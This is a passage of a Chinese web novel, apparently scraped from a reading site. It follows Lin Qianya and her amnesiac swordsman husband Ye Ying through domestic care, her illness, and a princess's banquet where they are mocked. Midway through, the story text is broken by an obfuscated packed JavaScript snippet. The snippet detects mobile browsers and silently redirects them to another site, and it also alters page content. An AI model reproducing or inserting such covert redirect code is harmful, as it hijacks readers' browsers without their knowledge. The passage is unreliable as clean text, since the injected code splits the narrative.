林芊雅接过,这次叶英不在跟前,她也没什么好顾忌的,蹙着眉,屏住呼吸,端起碗几口便灌了下去。顿时苦得她整张脸都皱了起来,赶紧拈起两颗蜜饯含在嘴里,好半晌才缓过气。 嘴里仍残留着苦味,她便让秋月吩咐厨房将酥山做上,又让人从冰窖取了些冰引子,将水壶镇在冰里。她自己则拿了个素净的瓷杯,倒上晾凉的开水,走到廊下,将杯子放在栏杆旁的一张矮几上。 这是她近日养成的习惯。 叶英每日在院中抱剑静立,或看花,或沉思,总要待上一两个时辰。六月天气渐热,她总怕他站久了口渴,或是中了暑气。 虽然他看起来浑不在意,面色如常,但多备些水总没坏处。她自己是极怕热的,便推己及人,总觉得他也需要。 将杯子放好,她退回屋内,隔着窗纱,又能看见树下那个白色的身影。心里那点因为苦涩汤药而生的烦闷,便悄然散了些。 仲午时分,叶英才从院中回来。 一踏进回廊,目光便落在那矮几上白瓷杯清澈的水面上。廊下穿堂风过,杯壁凝着细密的水珠,显然是刚添上不久,又被冰镇过的凉意未散。 他脚步微顿,伸手拿起杯子,水温恰到好处的沁凉,透过杯壁传来。他慢慢饮了一口,甘冽的水流润过喉间。 他什么也没说,心中却似被这微不足道的细节轻轻熨帖了一下。 并非什么贵重难得之物,只是有人在他未曾开口时,便已将这份细微的关切妥帖安放。这份被时时记挂、时时惦念的感情让人心头发暖罢了。他目光掠过窗内那个正低头看着书似乎并未留意他的身影,眼底深处,有什么东西化开了些许。 他将杯中水饮尽,把杯子轻轻放回原处,转身进了屋。 24. 怎比得过夫妻心有灵犀 “在缝这个?” 叶英的声音从门口传来,低沉平和。 林芊雅正专注于针线,闻声抬头,见他已走进内室,目光便落在她膝头那件正缝补的玉白外袍上。 她唇边便自然而然地漾开一抹温柔的笑意,手下动作却没停,只轻轻应道:“嗯。” 她低下头,将最后一针仔细收好、咬断线头,这才将衣袍拎起来对着光仔细看了看那处修补的地方,确认平整无痕了,才抬眼看向叶英,语气里带上了自然的关切:“见你外袍这里勾破了。虽不显眼,但穿着终究不便,我便替你补补。” 她说着,将补好的衣服叠放在一旁,又看向他,目光落在他被日头晒得微有汗意的额角,声音便更软和了些: “回来了?现在已是六月了,天气到底燥热,站了那么久。我让人准备了冰引子镇了水,你也尝尝,好歹消消暑气,免得盛夏酷热难耐,反而中了暑去。” 叶英目光在她带着温柔笑意的脸上停留了片刻,她专注缝补的样子,和此刻毫不掩饰的关心,都让他心头微微一动。 他点了点头,声音比平时更缓些:“好。” 顿了顿,似乎觉得不够,又添了两个字,带着点生疏却认真的意味,“有劳夫人。” 林芊雅听他这样称呼,耳尖悄悄红了红,心里却泛开甜意。 她正想说些什么,外间便传来轻快的脚步声。 春华端着个红漆托盘进来了,上头摆着几样精致的小点心和两盏温热的杏仁茶。她将东西放在两人中间的小几上。 眼睛亮晶晶地先瞅了叶英一眼,随即凑到林芊雅身边,用极小的气声,却足够让叶英也隐约听见的音量笑道:“小姐,姑爷可真好,比那个……哼,强千万倍!您这么好的人,可惜有些人却眼睛比鱼眼珠子还要来的瞎呢!” 她说得直白,脸上还带着毫不掩饰的鄙夷。 在她看来,那南安王世子就是个天字第一号的大傻蛋,她家小姐这样好,那人竟敢那般当众羞辱,可不是瞎是什么? 林芊雅闻言,脸上原本柔和的浅笑却淡了些。她轻轻睨了春华一眼,那眼神里倒没有多少责备,更多的反而是就此打住的提醒。“好了,”她声音不高,却带着主子的分寸,“过去的事,休要再提。” 她的目光不自觉地再次飘向坐在对面的叶英,见他神色平静,并无异样,才稍稍安心,声音便放得轻柔,却异常清晰地说道:“旁人如何,与我却再无干系。我夫君……自是极好的。” 这话说得坦然,里头那丝不易察觉的维护和满足,却是实实在在的。 春华吐了吐舌头,知道小姐心意已定,也确实不愿再提旧事惹小姐心烦,便不敢再多嘴,只笑着行礼: “是,奴婢知错了。那奴婢先去绣坊吩咐裁衣的事?”见林芊雅点头,她才轻手轻脚地退了出去,还细心地将房门虚掩上了。 午后,书房内静谧安适。窗扉半开,微风轻轻拂入。 林芊雅换了身青白相间的薄绸外衫,颜色清浅如雨后荷塘,越发衬得人肤白如玉,清淡雅致。 她靠在窗边的软榻上,手中握着一卷山川游记,本想继续翻阅,奈何连日来心神放松,加上午后汤药里安神药材的作用渐渐上来,书上的字迹便开始模糊。 她眼皮沉沉地往下坠,指尖不知不觉松了力道,那卷书便从手中滑落,啪地一声轻响,掉在了榻边的绒毯上。人却已歪靠着柔软的引枕,呼吸均匀清浅,沉沉地睡熟了。 叶英推门进来时,看到的便是这幅景象。 他脚步放得极轻,走到榻边,先弯腰拾起那卷书,指尖拂去封面上不存在的灰尘,将它轻轻放在一旁的矮几上。然后,他的目光才落在熟睡的林芊雅脸上。 她微蹙的眉心在睡梦中舒展开来,显得宁静安然,只是眼下那层淡淡的青影依旧可见,显是往日身体亏损的底子尚未完全养回来。 她睡得有些沉,对他的靠近却也毫无所觉,长长的睫毛在白皙的脸颊上投下两弯小小的阴影。 叶英静静看了片刻,确认她只是沉入梦乡,并无不适,呼吸也平稳。 他便转身,无声地步入相连的内室,从床榻里侧取来一床软薄的锦丝夹被。回到榻边,他动作极其轻柔地将被子展开,覆在她身上,又将边角仔细掖好,确保不会漏风。做完这些,他的目光又落到榻边小几上那杯早已凉透的茶水。 他伸手探了探杯壁,触手冰凉。于是他将凉茶端走,片刻后,换上一杯温度正好的温水,轻轻放在原处,确保她若醒来,一伸手便能拿到。 做完这一切,他并未立刻离开,而是在榻边不远处的圈椅里坐了下来,拿起之前林芊雅看的那本游记,随意翻开一页,目光落在字里行间,却并未真正看进去。耳中听着她均匀轻浅的呼吸声,在这静谧的午后,心中那片空茫的迷雾之外,似乎也多了些可以真实握住的安宁。 下午时天便有些昏暗,晚间果然下起了雨,淅淅沥沥的,衬得屋里便更显安静。 叶英无事可做,便在里间榻上盘膝打坐调息,这是他每日的功课。 林芊雅则在外间临窗的软榻上,就着明亮的烛火,翻着一卷话本。 她正看到杜十娘怒沉百宝箱那段,指尖停在书页上,半晌,轻轻叹了口气。 所托非人,真心错付,大概便是这般结局了。这世道女子活得不易,许多事都身不由己。 “怎么了?”叶英不知何时已调息完毕,走了出来,在她身侧坐下。他耳力极好,那声轻叹并未错过。 “没什么,”林芊雅摇摇头,将话本合上放在一边,“不过是些旧故事,看了徒增感慨罢了。” 她说着,目光便落到墙角那个半人高的多宝格上,忽然想起了什么,眼睛微微一亮,“夫君,你且等等。” 她起身走过去,踮起脚,从格子的上层费力地抱下一个长长的檀木盒子。那盒子看着古朴,似乎有些分量,她抱在怀里,脚步便显得有点小心。 叶英见状,立刻起身几步跨过去,伸手稳稳地将盒子接了过来。 “我来。”他语气自然,将盒子拿到桌案上放下。 林芊雅跟过来,手指抚过盒盖上细致的木纹,抬头看向叶英,声音温柔:“我见你平日练剑勤勉,那柄随身的长剑刃口似乎也有些磨损了。”她说着,轻轻掀开盒盖。 盒内衬着深蓝色的丝绒,躺着一柄连鞘的长剑。剑鞘是深色的古木所制,线条流畅,并无过多装饰,只透着一种沉静的年代感。 “这是我及笄那年,一位与父亲交好的世交叔伯所赠,说是柄有些年头的古剑,名唤秋水。”林芊雅目光落在剑上,语气平和,“我对这些兵器一窍不通,放在我这里,不过是明珠蒙尘,白白搁着。你若觉得还趁手,便拿去用吧。” 她的话说得恳切,眼神清澈,只有单纯的关切,并无半分施舍或轻视的意思。说完,她又从袖袋里取出一个早已备好的锦囊,放在剑匣旁边。锦囊沉甸甸的。 “还有这个,你也拿着。”她脸色微红,声音比方才更软了些,带着点不易察觉的腼腆,“男人家在外,总有些应酬花用,或是见着什么合心意的兵器物件,身上有些银钱,也方便些。这里头是五百两银票,还有些碎银子……若不够,再同我说。” 叶英没有立刻去看那柄剑,也没有去拿那个沉甸甸的锦囊。 他的目光先落在林芊雅的脸上,看着她微微泛红的脸颊和那双盛满温柔与认真眼眸。 或许旁人不懂,但……他也不是蠢人。 虽然自幼寡言,但他心里却什么都明白。这几日相处下来,她的细心体贴无处不在,晨间的温水,悄然的补衣,无声的纵容……桩桩件件, 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沉默了片刻,他只是低下头,在她发间很轻地唤了一声:“芊雅。” “嗯?”她靠在他胸口,闻声微微仰起脸,目光带着点疑惑,自下而上地望着他。 叶英看着她清澈的眼眸,一字一句,声音低沉而清晰:“叶英定不负你。” 这话毫无铺垫,来得有些突然,却重若千钧。 林芊雅怔了怔,随即,眼底漾开一片柔软的了然的笑意。她轻轻点了点头,重新将脸埋回他温暖的怀抱,手臂也悄悄环上他的腰,声音闷闷的,却无比笃定:“好。我信你。” 两人就这么静静相拥了一会儿,听着窗外绵密的雨声。 直到林芊雅觉得脸颊贴着的衣料都有些发烫了,才不好意思地轻轻推了推他:“夫君,你先看看剑……合不合意?” 叶英这才稍稍松开手臂,将她从怀里放出来,但一只手仍虚虚揽着她的肩。他走到桌边,目光落在那柄秋水上。 他伸手拿起剑。 入手沉实,重心匀称。拔剑出鞘时,一声清越的嗡鸣在静室中荡开。剑身如一泓秋水,寒光潋滟,靠近剑脊处能看到细密均匀的锻造纹理,显然出自极高明的铸剑师之手,绝非寻常所谓的好剑可比。 这样一柄珍品,她竟如此轻易地就给了他,还说放着也是白搁着。 叶英心中微软,指尖抚过冰凉的剑身。然而,几乎是同时,一个更细微更专业的审视念头不受控制地冒了出来:淬火的火候似乎还能更精纯一分,若在锻造时加入少许北海玄铁,韧性和锋锐或许能再上一层…… 这挑剔的近乎本能般的评判让他自己都愣了一下。 他怎么会懂这些?不仅懂,眼光竟还如此苛刻? 莫非失忆之前,自己不仅习剑,还精于铸剑之道?可脑海中那些清晰无比的剑招剑意,又分明昭示着他是个纯粹的剑客。 记忆的迷雾似乎因为眼前这柄剑,又翻腾起新的更令人困惑的漩涡。 他沉默着,用桌上备好的软布,将剑身仔细擦拭了一遍,然后缓缓归鞘。动作轻柔,带着对兵器的尊重。 这确实是一柄难得的好剑。 若他是个剑痴,此刻恐怕已心醉神迷,恨不能立刻去院中试剑了。 可此刻,他心中更清晰的感觉却是,再好的剑,也只是剑。而刚刚在怀中那份温软的依赖和毫无保留的信任,才是更真实更让他心头发紧的珍宝。 他放下剑,转身走回林芊雅身边,很自然地握住她微凉的手,包裹在自己温热的掌心里。 “剑很好。”他低声说,目光落在她脸上,“多谢夫人。” 雨声潺潺,更漏渐深。 但这等金铁冰冷,却又怎比得过夫妻同眠、心有灵犀? 25. 润物细无声 日子便这般平静地过了近一个月。 叶英在相府住着,起初那份因记忆全无和环境陌生而生的些许飘忽感,便渐渐被一种安稳的日常所取代。 他心里倒是踏实了许多,这片小小的庭院,竟也成了他茫茫迷雾中一处清晰可触的落脚点。 这份安稳,大半却也源于林芊雅细致入微的照料。她似乎将他的一切都放在了心上,安排得妥妥帖帖,从无半点疏漏。 晨起时,外间小几上总有一杯温度正好的清茶,不烫不凉,刚好润喉。他虽未说过,但她似乎却记得他醒来总要先饮些水的习惯。 用膳时,桌上菜色日日变换,但他若是对哪道菜多动了一筷子,或只是目光停留得稍久些,下一餐那道菜便会多出现在他面前,分量也足些。 他习惯几时起身,几时静坐,偏好什么茶水温热,甚至换洗衣物的熏香用哪种淡雅的气息,她都一一留意,不着痕迹地调整到最令他舒适的状态。 这种被默默放在心尖上惦念、周全呵护的感觉,让叶英心里时常泛起暖意。 他即便记不清从前,但某些身体的本能和残留的感觉告诉他,自己过去家境应当不差,起居也是有人伺候的。 刚醒来在济世堂,以及初入相府时,他对丫鬟仆役的靠近,身体会有一瞬不易察觉的僵硬,那是一种对“被伺候”状态既熟悉却又带着疏离的警觉,他偶尔也便会感到一丝本能的不适应。 可那时的“伺候”,与如今林芊雅给予的,却又截然不同。那更像是一种基于职责或银钱的照看,规整却隔着距离。 而眼下这些,是妻子基于“在意”本身所做的、自然而然的关切,细微之处才透着全心全意的爱护。这份区别,他虽不善言辞,心里却清明如镜。 相府里的日子大体是平静的。 丫鬟仆妇们见他们夫妇同行,常在不远处挤在一起低笑,目光善意又带着对新婚燕尔的欣羡。就连之前提及的南安王府,或是朝中与林承泽不睦的政敌,这月余也未见有什么动作。 林承泽每日按部就班上朝下朝,京城里的风浪,隔着相府高墙,似乎变得有些遥远,甚至有些儿戏。 林芊雅对此闲暇时还曾对叶英浅笑道: “无非是兵来将挡,水来土掩罢了。更何况我们如今也不常出门,外头再闹,一时半刻却也扰不到眼前来了。” 她如今的活动,多半也在这府邸之内。 如今常登门的,除了必要的家下管事回话,便只有如薛娘子这般与林芊雅有生意往来的女眷,或是各处铺子的掌柜前来对账。 林芊雅处理这些事务很有章法,每日约莫耗费个把时辰,便能料理清楚。余下的时间,她的心思便大多落在了叶英身上。 就连给他添置衣物这类事,她也考虑得极周全。 并未随意去外头成衣铺子购买,而是请了京中手艺最好的绣娘到府里来,当着他的面,仔仔细细地量了尺寸。 料子是她亲自挑选的,多是素雅的绫、罗、细棉,颜色也偏青、白、月白、浅灰之类,质地柔软透气,剪裁合体却不过分紧绷,样式简洁大方,正是她一贯偏好的清雅风格。 叶英对穿什么其实并不太挑剔,给他什么便穿什么。只是偶尔,手指抚过那些细腻却素净的衣料时,心底会掠过一丝极模糊的异样感,仿佛记忆深处,自己惯常的衣着应当更鲜明华美一些?那感觉一闪即逝,抓不住具体形貌,只留下一点关于“珠光宝气”的朦胧印象。 林芊雅似乎也察觉到了这点。 有一回,她拿着新做好的外衫在他身上比量时,忽然抬眼看了看他,轻声说: “夫君从前那身衣裳……料子和绣工都极贵重,想来日常用度也是不差的。只是……”她顿了顿,声音低了些,带着点不易察觉的维护。 “那样的穿戴,在京城里太扎眼了,容易惹来不必要的麻烦。而且……外头有些人,眼皮子浅,若见你骤然穿得那般华贵,怕是要说些不中听的闲话,平白惹你心烦。” 她没明说“不中听的闲话”是什么,但叶英听懂了。无非是些“倚靠岳家”、“被妻子豢养”之类的鄙薄之语。她自己或许不在乎外人如何议论林家,却不愿他因这些无谓之事承受半点非议。 叶英看着她眼中那点清晰的在意,心下微软。他本就不在意旁人眼光,更不在意穿戴如何,但这是她的心意,是她细细思量后认为对他最好的安排。他便点了点头,只说了句: “你安排便是。”语气里是全然的信任与接受。 这些日常琐碎,于他而言都算不得什么。他真正搁在心上时常惦记的,是林芊雅的身体。 她底子实在太弱了。这才刚入秋不久,七月中的天气,早晚已有些微凉,她便比旁人更易受风着凉。 这日清晨,窗外又淅淅沥沥下起了雨。 观澜院侧那片小小的竹林被雨点打得噼啪作响,声音清脆倒也别有韵致。 因着雨天想着院中的海棠应当也被打落了,叶英便未去院中练剑观花。他醒来时,帐内光线晦暗,身侧的人还依旧安静地睡着。 往常这个时候,林芊雅也该醒了。她虽爱赖床,但因着要喝那定时的汤药,总也不会晚过辰时。且两人成亲已月余,昨夜雨声扰人,又兼她近来精神尚可,两人便未曾亲密,只是相拥而眠。 此刻,她穿着一身玉粉色的软绸寝衣,偎在他身侧,乌发如云铺散在枕上,睡得正沉。两人衣料皆是光滑的丝绸,被褥也蓬松柔软,拥着她入睡总是一夜安眠的。 叶英原想着雨天不便外出,正好留在房里多陪陪她。他侧过身,仔细端详她的睡颜,却见她双颊泛着不正常的红晕,眉心微微蹙着,呼吸似乎也比平日略重一些。 他心头莫名一紧,伸手用手背轻轻贴了贴她的额头。触手便是一片滚烫。 发烧了。 叶英心头一紧,立刻起身,随手披了件外袍便快步走到门边,压低声音唤了外间值守的春华,让她速去请大夫。动作虽轻却带着明显的急迫。 他的声音却也惊动了床上的林芊雅。 她迷迷糊糊地睁开眼,觉得浑身酸软无力,头也昏沉沉的,眨了眨眼,才看清叶英已起身正吩咐丫鬟。想坐起来,身上却没什么力气。 春华应了声,匆忙去了。 秋月已打了温水进来,绞了帕子。 叶英接过回到床边,扶着林芊雅靠坐起来,将凉帕子敷在她额上。 林芊雅这才完全清醒,意识到自己又病了。她看着叶英微蹙的眉头和眼中的关切,勉强扯出一个笑,声音因发热而有些沙哑绵软: “夫君别担心……我没事的,老毛病了……就是不小心着了点凉,喝几天药就好。” 她说着,还想证明自己无碍似的,抬手想去接秋月递过来的温水杯,指尖却有些发颤。 叶英没说话,只默默接过杯子凑到她唇边,喂她小口喝了点水。 不多时,大夫来了,诊脉后说是换季感染了风寒,又兼体质虚亏,需得好生静养服药。 春华送大夫出去时,在门边压低声音对叶英道: “姑爷别太忧心了,小姐自小便是如此,天气稍一变幻,或是不小心吹了风,便容易如此。奴婢们都惯了,小心伺候着,按时喝药,将养几日便能缓过来。” 叶英点了点头,目光却一直落在床榻上。 林芊雅已被扶着重新靠坐在床头,背后垫了厚厚的软枕。 因发热她脸颊绯红,嘴唇有些干,长发也未绾柔顺地披在肩头,更显得人苍白脆弱。见叶英看过来,她又努力笑了笑,想让他安心。 丫鬟端了刚煎好的药进来,浓重的苦涩气味瞬间弥漫在室内。 林芊雅几不可查地蹙了下眉,随即又松开,伸手想去接药碗。 “等等。”叶英忽然开口。他转身对屋里伺候的春华和另一个丫鬟道:“这里我来,你们先下去吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224190|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春华愣了一下,随即会意,抿嘴一笑,拉着小丫鬟悄悄退了出去,还带上了门。 屋内便只剩下他们两人。 叶英端着药碗,在床沿坐下。他没有立刻将药递给她,而是先从旁边小碟里,拈起两颗蜜饯,放在她手边容易拿到的地方。 然后,他才将药碗递过去,看着她的眼睛,声音比平时更缓些:“怕苦,便一口喝完。在我面前,不必忍着。” 他的话还是很简短,但意思却再明白不过。 他知道她爱面子,总想在他面前维持那份端庄娴静的仪态,连喝药都要小口慢饮,生生拉长那苦涩的折磨。但他告诉她,不必如此。在他面前,她可以放松,可以怕苦,可以不那么完美。 林芊雅怔怔地看着他,看着他平静却专注的眼神,又看了看手边那两颗晶莹的蜜饯。心头像是被什么东西轻轻撞了一下,酸酸软软的,那热度似乎从脸颊一路蔓延到了眼眶。药是苦的,可心里某个地方,却咕嘟咕嘟地冒着甜滋滋的泡泡。 她没说话,也没像以往那样故作从容地小口啜饮。只是伸出手,接过那碗浓褐的药汁,盯着看了片刻,然后像是下定了决心,闭了闭眼,仰头,屏住呼吸,咕咚咕咚几口,将那碗极苦的药汁一气灌了下去。 苦涩瞬间席卷了所有味蕾,让她差点呛咳出来,眼角也逼出了生理性的泪花。她慌忙放下碗,抓起那两颗蜜饯塞进嘴里,用力咀嚼着,用那一点清甜拼命压住翻涌的苦味。 叶英一直看着她,看着她皱眉强忍眼角泛泪又急着吃蜜饯的模样,那样子褪去了平日里的沉稳周全,露出几分属于她这个年纪的、真实的稚气与脆弱。 他心里那处发紧的感觉,并未因她乖乖喝药而散去,反而更清晰了些。 他沉默着,在床边坐下,伸出手,将她有些凉、甚至微微发抖的手握进自己温热的掌心,紧紧包裹住。 林芊雅缓过那阵苦劲,感觉到他手掌传来的温度和力道,心里那点因生病而生的委屈和无力感,似乎被驱散了不少。 她没抽回手,反而顺势将依旧发烫的额头,轻轻靠向他坚实的胸膛,整个人像寻求温暖和庇护般,依偎进他怀里。 “真的不要紧,”她把脸埋在他衣襟前,声音闷闷的,带着病中的软哑,“我从小身体就这样,是胎里带来的弱症,一年里总要闹这么几回……早就习惯了。你……你离我远些,仔细过了病气给你了。” 她说“早就习惯了”,语气那么平淡,听在叶英耳中,却让他心头有些发紧,泛起一阵陌生的闷疼。她这般年轻,却要常年与药石为伴,连生病都成了习惯。 他手臂环过她单薄的肩背,将她更稳地拥住,低声道:“不会。我身体好,无事。” 他顿了顿,似乎在搜寻合适的词语,最终只是干涩地补了一句,“你……好生吃药,多歇着,快些好起来。” 他想说些更熨帖的安慰话,却发现自己于此道实在笨拙。满腔的担忧与怜惜,到了嘴边,只剩下这最简单直白的几句。似乎觉得语言不够,他又更紧地握了握她的手,仿佛想通过这交握的掌心,将自己的力量与温度都传递过去。 林芊雅在他怀里轻轻动了动,寻了个更舒适的姿势靠着,然后低低地“嗯”了一声,听话地闭上了眼睛。 或许是他的怀抱太过安稳,或许是药力开始发作,她的呼吸渐渐变得均匀绵长,竟是又沉沉地睡了过去。 叶英保持着这个姿势,一动不动,低头看着她沉睡中依旧微红的脸颊和轻蹙的眉尖。 窗外的雨声未歇,滴滴答答地敲在屋檐和竹叶上。 叶英低下头,看着怀中因生病而显得格外柔软脆弱的妻子,心中那片因失忆而产生的无所凭依的漂浮感,似乎在缓缓沉淀,被一种更为具体而坚实的责任感所取代。 他是她的夫君,护她安好,顾她周全 连同她这自胎里带来的、令人心疼的病弱,亦是他份内之事。 26. 宴无好宴,才艺大展 林芊雅这场病,便拖拖拉拉了好几天,才算真正见好。 烧是退了,但人却还是没什么精神,恹恹的,脸色也比平日更苍白些。 叶英见她这样,便更少往院外去了,多半时间倒是都待在房里陪着她。 她精神短,看不了几页书就容易乏,有时就靠在他肩上,闭着眼养神。 有时两人便对坐着,也只下一盘慢悠悠的棋,落子声清脆,半晌才响那么一下。 话是不多,可两人这样安静待着,反倒比说些什么更让人觉得踏实。 两人正处在这病后初愈,格外黏糊的当口,观澜院便收到了一份请柬。 是大长公主府赏花宴的帖子,指名道姓邀了林相千金及其新婚夫婿一同赴宴。那帖子措辞倒是客气周全,可意思却很明白,也并不好推辞。 林芊雅捏着那帖子,在窗边站了一会儿。 大长公主是当今圣上的亲姑姑,在先帝朝时便极受宠爱,地位超然。她的宴请,于情于理其实都难以回绝。 只是…… 她抬眼,看向坐在对面正在擦拭剑身的叶英。 她这夫君,性子是喜静不喜闹的,惯来不爱交际应酬,更不喜成为旁人瞩目议论的焦点。 这所谓的赏花宴,名为赏花,实则却不知有多少双眼睛盯着,有多少张嘴巴等着议论。京中那些贵胄子弟闺秀命妇,见了叶英这般样貌气度,指不定要生出多少是非口舌。 她自己是早已习惯了这些场合,也练就了一身应付的本事。可叶英呢?他失忆以来,虽沉稳依旧,但终究对京城这潭浑水全然陌生。她私心里,却并不愿他平白去受那些审视与议论。 犹豫了片刻,她还是拿着帖子走了过去,在他对面的椅子上坐下。 “夫君,”她将帖子轻轻推到他面前的桌案上,声音放得温和,“大长公主府下了帖子,邀我们三日后去赴赏花宴。” 叶英擦拭剑身的动作停了下来。他目光先落在请柬上顿了顿,才抬眼看她。 林芊雅迎着他的目光,语气尽量放得轻松像在商量一件寻常小事一般: “你若觉得不惯,不愿去,我便寻个妥帖的由头推了。就说我身子刚好,还需静养,倒也是个现成的借口。” 她说完,便静静等着他的反应,目光留意着他脸上细微的神色变化。 叶英看了看那帖子,又看了看她。 她话说得轻巧,神色也努力维持着平静,可他并非看不出她眼底那丝极细微的为难。 这几日闲谈,岳父也曾提过几句朝中复杂的人际往来。大长公主这般人物的邀请,恐怕并非简单的吃酒赏花,背后其实牵扯着人情脸面,甚至朝堂风向。 她若独自推拒,怕是会落人口实,于她于林家都未必是好事。 他沉默了片刻,将手中擦剑的软布放下。 “无妨。”他语气平静,听不出什么情绪,“你去,我便同去。” 他确是不喜这等场合,但更不愿她独自去应对可能的风雨与难堪。 既是夫妻,这些场合便该一同面对。 有他在侧,至少那些明面上的刁难,他能替她挡一挡。 林芊雅听他应得干脆,心里那点悬着的担忧忽地就落了下来,随即漫上一股温软的暖意。 她知道他的性子,答应同去多半也是为了她。 他总是这样,虽然沉默却极为可靠。 “那好,”她眉眼舒展开轻轻点了点头,“我们便一同去。” 三日后,马车平稳地驶向大长公主府。 车厢内,林芊雅正微微垂眸理着自己袖口上并不存在的褶皱。 叶英坐在她身侧,原本也在闭目养神,可马车行过一段颇为喧闹的街市时,外头一阵格外响亮的吆喝争执声传了进来。 他眉头几不可查地动了一下,随即伸手撩开了身侧车窗的帘子一角,目光沉静地向外望去。 只见街边一间铺子门前围了许多人,闹哄哄的,好些人手里拿着不知什么东西,互相拉扯着,嘴里喊着“快帮我砍一刀”“就差一点了”“再找个新人来”之类的话,情绪激昂。 铺子门楣上挂着的匾额,写着一映居三个字。 林芊雅顺着他的目光也看了过去,见他似乎留意那铺子了几眼便轻声开口解释道: “那家一映居,原是我与一位姓薛的娘子合开的脂粉铺子。 她是个有本事的,出本钱和手艺,不过是借了个相府的名头,替她挡些不必要的麻烦,每月盈利她就会分三成送来。” 她语气寻常,像在说一件家中琐事并无隐瞒或刻意提起的意思。 既然成了夫妻,家里这些进项往来,她觉得也该让他知晓,不必藏着掖着。 叶英闻言,目光在那喧闹怪异的人群中又停留了一瞬。 那热闹透着一种他难以理解的浮夸与刻意,与他感受到的这个世界的某种怪异氛围隐隐相合。 但他对此却并无探究的兴趣。 “嗯。”他淡淡应了一声,放下了车帘,将那些嘈杂隔绝在外。 转头见林芊雅已收回目光,正安然端坐侧脸沉静。 外头那些喧嚷也好,生意盈利也罢,于他而言,却都无关紧要。 唯有身边之人,才是实实在在的与他骨血相连。 大长公主府邸果然气象非凡,楼阁巍峨,处处雕梁画栋。 他们到时,偌大的园子里已是人头攒动,衣香鬓影,环佩叮当,笑语喧哗声隔着老远就能听见。 叶英携着林芊雅甫一踏入园门,几乎刹那间,便吸引了四面八方或明或暗的视线。 那一头如雪的白发,在满园姹紫嫣红锦绣辉煌之中,实在太过扎眼。 更遑论他面容生得昳丽异常,肤色是冷调的白,右额角那点殷红的梅花印记在明亮天光下清晰夺目。 然而最引人注目的,却是他周身那股子气质,并非刻意摆出的冷傲,而是一种沉静到了极处近乎天然的疏淡,与这浮华喧嚣人人争相表现的宴席场合格格不入。 女眷聚集的那边先是陡然静了一瞬,随即响起一片极力压抑却仍丝丝缕缕漏出来的抽气声与低语。 不少年轻姑娘看得怔住,目光不由自主地黏在他身上,脸上悄悄飞起红霞,却又碍于闺阁礼数不敢直视,只敢用眼角余光偷偷地飞快地瞥上一眼,又慌忙移开。 男子那边则直接得多。 以一群锦衣华服被众人簇拥着的公子哥为首,议论声几乎不加掩饰。被围在中心的,正是南安王世子萧琰。 他手里把玩着一柄玉骨扇,目光挑剔地在叶英身上扫了几个来回,尤其在那一头白发上停留片刻,嘴角勾起一抹毫不掩饰的讥诮,声音不大不小,刚好能让附近一圈人听个清楚: “我当是谁,原来就是这位白发郎君?呵,倒是生了一副顶好的皮囊,难怪能入得了林小姐的眼。” 他顿了顿,嗤笑一声,“只是不知……除了这张脸,可还有别的长处?莫非林相择婿,如今竟只看容貌了?” 这话说得尖锐,引得周围几个惯常奉承他的跟班也低声哄笑起来。 话里话外,既是鄙夷叶英空有外貌依附岳家,更是嘲讽林芊雅下嫁了一个除了脸一无是处的男人。 叶英脚步未停连步速都未曾有丝毫变化。 旁人如何议论他,是赞誉还是贬损,他向来不往心里去。 剑心修行,首重己身澄明,外物毁誉,难动其分毫。 然而,那话语中提及林小姐时,那种轻慢鄙夷的腔调却让他心下一沉。他眸光几不可查地沉了沉,下意识侧过头,看向身侧的林芊雅。 林芊雅却仿佛全然未闻那些刺耳的议论。 她面上依旧带着恰到好处的浅淡微笑,仪态端方从容步履不疾不徐。只在那些讥讽话语随风飘来时,极其自然地伸出手,轻轻覆在了叶英垂在身侧的手背上。 她的指尖微凉,触感柔软,甚至还轻轻借着死角勾了勾他的手心,意思显然是在安抚他。 她借着理了理另一侧裙摆的动作,稍稍向他靠近了些,用只有两人能听见的耳语般的声音,温柔道: “犬吠而已,何必入耳。这类话,我听得多了,早不放在心上。” 她眼神清亮坦然不见半分阴霾或屈辱,只有一片平静。“夫君不必为这些无谓之人费神。” 她语气里的淡然是真切的,并非强撑门面。 这些年来,因着她这病弱之身,因着南安王府那场退婚闹剧,因着父亲在朝中的位置,明里暗里的嘲讽讥诮幸灾乐祸,她经历得太多。 若桩桩件件都要搁在心里计较,只怕早就气郁伤身,活不到今日了。她早已学会将这些无谓的噪音,彻底隔绝在自己的心墙之外。 叶英感受着手背 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因此,但凡家中有适龄女儿又存了攀附心思的官员,今日无不使尽浑身解数,将无论是嫡庶的女儿都妆扮得花枝招展光彩照人地带了来。 宴至中段,便是例行的才艺展示环节。 这本是闺秀们展现自我博取青睐的场合,今日更是成了没有硝烟的战场,人人摩拳擦掌,各显神通。 一位身着鹅黄衣裙模样娇俏的小姐率先起身,自称擅烹,尤其精于研制新奇点心,愿以一道新近琢磨出的水晶芙蓉糕献给公主品鉴。那糕点端上来,果然模样玲珑剔透,宛如艺术品,口感也清甜不腻,颇为新奇,引得席上众人交口称赞。 林芊雅端起面前的茶杯,借着抿茶的姿势,绢帕掩唇,微微侧过头,用气声对身旁的叶英低语道: “这是光禄寺少卿王大人家中的庶女,行三。听说去年失足落水,救起后便性情大变。从前是怯懦寡言毫不起眼的性子,如今却厨艺女红算账样样来得,在府里很得她父亲看重,风头都快盖过嫡出的姐姐了。” 接着,又有一位身着水蓝色衣裙气质略显清冷的小姐起身,自称平日闲暇喜读医书,曾翻阅不少古籍秘方,对调理身体治疗某些陈年痼疾略有心得,愿为公主分忧。话说得委婉含蓄,但其中意图,在场之人无不心知肚明。 林芊雅羽睫微垂,声音依旧轻缓: “那位是翰林院李编修家的嫡次女。半年前随母上山进香,不慎摔了一跤,昏迷了三日方醒。醒来后便时常说些旁人听不懂的医理名词,还自己鼓捣些药材,配了些药丸,据说……当真治好了她母亲缠绵多年的头风疾。” 